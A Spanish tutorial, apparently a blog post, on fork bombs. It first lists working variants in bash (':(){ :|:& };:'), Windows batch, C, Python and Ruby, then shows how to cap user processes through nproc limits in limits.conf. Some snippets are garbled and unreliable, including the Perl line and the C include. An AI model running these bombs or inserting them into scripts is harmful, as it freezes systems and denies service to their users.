Cómo crear una bomba fork para GNU/Linux y cómo protegernos

La bomba fork es una forma de ataque del tipo denegación de servicio sobre un computador que implementa la operación fork, o alguna funcionalidad equivalente mediante la cual un proceso es capaz de crear otro proceso. La bomba fork es considerado un wabbit ya que no se replica de la misma forma que los gusanos o los virus. Su efecto se basa en la suposición de que el número de programas y procesos que se ejecutan simultáneamente en un ordenador tiene un límite.

Una bomba fork funciona creando una gran cantidad de procesos muy rápidamente con el objetivo de saturar el espacio disponible en la lista de procesos mantenida por el sistema operativo del computador. Si la tabla de procesos se llega a saturar, entonces no se pueden iniciar nuevos programas hasta que no se cierre alguno. En el caso que esto suceda, es muy poco probable que se pueda iniciar un programa útil ya que los procesos de la bomba estarán esperando para poder crear nuevos procesos a la primera oportunidad que se les conceda.

Las bombas fork no sólo ocupan espacio dentro de la lista de procesos, también consumen tiempo de proceso y memoria de la máquina donde se ejecutan. Como resultado de esto, los ordenadores se vuelven lentos e incluso se pueden volver inutilizables dada la falta de memoria y la imposibilidad de aprovechar el procesador.

Cualquier duda, problema ó sugerencia, podéis dejar un comentario abajo del tutorial. ¡Allá vamos!

1.- ELEMENTOS UTILIZADOS EN ESTE TUTORIAL

• GNU/Linux Debian 8 64bits

2.- TIPOS DE BOMBAS FORK ó FORK BOMB

Existen diferentes tipos de formas de tumbar un equipo y os mostraré algunas de ellas. Una de ellas que es muy especial: ":(){ :|:& };:" y es capaz de dejar completamente colgado el sistema en menos de 5 segundos siendo necesario un reinicio forzado.

Aquí os dejo algunas formas de "fork bomb" y la demostración de una de ellas:

Script batch para Microsoft Windows:

%0|%0

Otra forma de batch para Microsoft Windows:

:s
start "" %0
goto :s

Unix C ó C++:

#include 

int main()
 {
  while(1)
 {
    fork();
 }
  return 0;
}

Bomba fork Bash GNU/Linux. Este tipo de bomba lógica es muy conocida ya que no utiliza "comandos" y es bastante difícil de detectar dentro de un script, por eso hay que tener mucho cuidado de ejecutar scripts sin validar en sistemas de producción.

:(){ :|:& };:

La explicación del anterior script es la siguiente:

Haz click en "Full Screen/Pantalla Completa"

Script en Perl:

for while fork

Script en Python:

import os

while True:
     os.fork()

Script en Ruby:

def forkbomb
  loop { fork { forkbomb }  }
end; forkbomb

Script en Bash GNU/Linux:

#!/bin/bash
fork(){
    fork|fork
}

fork

3.- PREVENIR EL ATAQUE DE UNA BOMBA FORK

Una forma de prevenir el ataque de una bomba fork es limitar el número de procesos que un usuario puede ejecutar. Cuando un proceso intenta crear otro proceso y el propietario de dicho proceso ya posee la cantidad máxima de procesos que se le ha asignado, el intento de creación del nuevo proceso falla. El máximo número de procesos asignado a cada usuario debe ser lo suficientemente bajo para poder resistir la ejecución simultánea de una bomba fork por cada usuario y dejar libres los suficientes recursos como para poder restaurar el sistema.

Debemos tener en cuenta que la ejecución accidental de una bomba fork es altamente improbable en más de un usuario a la vez.

Los sistemas de tipo Unix típicamente tienen establecido este límite, controlado con el famoso comando ulimit del shell. En los kernel Linux existe una variable llamada RLIMIT_NPROC, que indica la cantidad máxima de procesos que se puede ejecutar. Si un proceso intenta llamar a la función fork y el usuario propietario del proceso ya tiene igual o más procesos que los indicados en RLIMIT_NPROC la llamada a la función fallará.

Otra solución implica la detección de bombas fork antes de su ejecución por parte del sistema operativo, aunque eso supone más gasto de recursos por parte del sistema. Esta parte no la voy a explicar considerando que con la primera es mas que suficiente para un entorno..."controlado".

Después de ver los diferentes ejemplos de bombas fork, ahora voy a mostrar cómo proteger nuestros sistemas ante este tipo de ataque.

Es necesario abrir y editar como root ó con sudo el fichero /etc/security/limits.conf. Si queremos limitar el número de procesos de todos los usuarios a 2000, deberemos añadir al final del fichero la siguiente línea:

* hard nproc 2000

De esta manera le indicamos al sistema que habrá un límite de procesos a ejecutar para todos los usuarios y tendrá un valor de 2000.

Podemos ser más específicos y limitar el número de procesos por usuario. Para ello debemos cambiar "*" por el nombre de usuario quedando de la siguiente forma:

raul hard nproc 100

También se pueden asignar estos valores a grupos de usuarios, para ello hay que anteponer "@" delante del nombre del grupo:

@clase hard nproc 1000

El procedimiento es bastante sencillo pero muy importante para proteger nuestro sistema de esta forma de ataque. La sintaxis y opciones del fichero limits.conf puedes verlas en el siguiente cuadro (inglés):

   
Where:

     can be:
        an user name
        a group name, with @group syntax
        the wildcard *, for default entry
        the wildcard %, can be also used with %group syntax, for maxlogin limit
     can have the two values:
        “soft” for enforcing the soft limits
        “hard” for enforcing hard limits
     can be one of the following:
        core – limits the core file size (KB)
     can be one of the following:
        core – limits the core file size (KB)
        data – max data size (KB)
        fsize – maximum filesize (KB)
        memlock – max locked-in-memory address space (KB)
        nofile – max number of open files
        rss – max resident set size (KB)
        stack – max stack size (KB)
        cpu – max CPU time (MIN)
        nproc – max number of processes
        as – address space limit
        maxlogins – max number of logins for this user
        maxsyslogins – max number of logins on the system
        priority – the priority to run user process with
        locks – max number of file locks the user can hold
        sigpending – max number of pending signals
        msgqueue – max memory used by POSIX message queues (bytes)
        nice – max nice priority allowed to raise to
        rtprio – max realtime priority
        chroot – change root to directory (Debian-specific)

ENJOY!